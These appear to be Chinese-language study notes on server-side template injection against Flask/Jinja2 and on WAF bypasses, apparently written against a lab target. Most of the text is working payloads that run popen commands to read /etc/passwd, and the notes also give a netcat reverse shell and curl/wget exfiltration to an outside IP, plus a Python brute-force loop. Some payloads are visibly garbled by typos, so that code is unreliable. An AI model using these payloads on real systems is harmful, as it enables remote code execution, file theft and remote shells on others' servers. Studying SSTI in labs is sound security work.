WAF绕过:
1、{%%}绕过过滤{{}}
尝试{%%},想回显内容在外面加个print就行,
{%print("".__class__)%}
思路:
1、判断{{}}被过滤尝试{%%}
2、判断语句能否正常执行
{% if2>1%}Benben1{%endif%}
{% if ”:class%}Benben{%endif%}
3、有回显Benben说明"_class_有内容
{%print(".class_ _base_:_subclasses_()[117]._init_._globals["popen"]("cat /etc/passwd").read())%}
4、使用print()执行命令A
无回显ssti:
盲注思路:
1、反弹shell
通过rce反弹一个shell出来绕过无回显的页面
2、带外注入
通过requestbin或dnslog的方式将信息传到外界
实例:
命令对错只有wrong和correct的区别1、采用反弹shell的方式:
fori in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.1617777-e /bin/bash(ip)
监听主机收到反弹shell进入对方命令行界面
2、采用带外注入:此处使用wget方法来带外想要知道的内容,也可以用dnslog或者nc。
import requests
url="http://172.16.1.6:17080/flasklab/level/3"
for iin range(300):
try:
data=["code'":"._class . base ,subclasses0+str(0)+
1.init globals["popen"l("curl http://192.168,1.161/ cat /etc/passwd).read(7
response=requests.post(url,data=data)
except :
pass
2、getitem()绕过[]过滤
getitem() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。
原本是[117],中括号被ban就用
__getitem__(117)代替[117]
3、request方法绕过:
request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
request绕过单双引号过滤
同理单双引号也可以用cookies绕过
{{().__class__.base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
改包添加cookie
Cookie:k1=popen;k2=cat /etc/passwd
4、绕过下划线过滤:
1.使用request方法
GET提交URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
POST提交:
code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(lequest.args.ini)|attr(request.args.glo)|attr(request.args.gei)(‘popen’(‘cat /etc/passwd’)attr(‘read’)()}}
2、使用Unicode编码
1、‘’|attr(“__class__”)等效于‘’.__class__
2、如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
3、使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
3、使用十六进制编码
{{()[“\x5f\x5fclass\x5f\x5f”][“\x5f\x5finit\x5f\x5f”][“\x5f\x5fglobals\x5f\x5f”][“os”].popen(“ls”).read()}}
这条payload等效于{{“”.__class__.__init__.globals__.os.popen(“ls”).read()}}
4、同理有base64编码绕过
5、格式化字符串
{{()|attr("%c%cclass%c%c"%(95,95,95,95))|attr("%c%cbase%c%c"%(95,95,95,95))|attr("%c%csubclasses%c%c"%(95,95,95,95))()|attr("%c%cgetitem%c%c"%(95,95,95,95))(117)|attr("%c%cinit%c%c"%(95,95,95,95))|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))(‘popen’)(‘cat /etc/passwd’)|attr(‘read’)()}}
%c %(95) 即下划线(如果是在 hackbar 注入,需要将%编码为%25。在 URL中%是一个特殊字符,用于表示后面紧跟着两个十六进制数字的转义序列,如果想在 URL中包含%字符本身,需要对它进行额外的编码,将%编码成%25)
5、绕过点过滤
1、中括号[]代替点
{{()[‘class’][‘base’][‘subclasses’]()[117][‘init’][‘globals’][‘popen’](‘ls’)[‘read’]()}}
2、如果中括号也被过滤可以考虑attr()绕过
{{()|attr(‘__class__’)|attr(‘__base__’)|attr(‘__subclasses__’)()|attr(‘__getitem__’)(199)|attr(‘__init__’)|attr(‘__globals__’)|attr(‘__getitem__’)(‘os')|attr(‘popen’)(‘ls’)|attr(‘read’)()}}
flask常用过滤器:
length(): 获取一个序列或者字典的长度并将其返回
int(): 将值转换为int类型;
float(): 将值转换为float类型
lower(): 将字符串转换为小写
upper(): 将字符串转换为大写
reverse(): 反转字符串;
replace(value,old,new): 将value中的old替换为new
list(): 将变量转换为列表类型,
string(): 将变量转换成字符串类型
join(): 将一个序列中的参数值拼接成字符串,通常配合dict()混合绕过
attr(): 获取对象的属性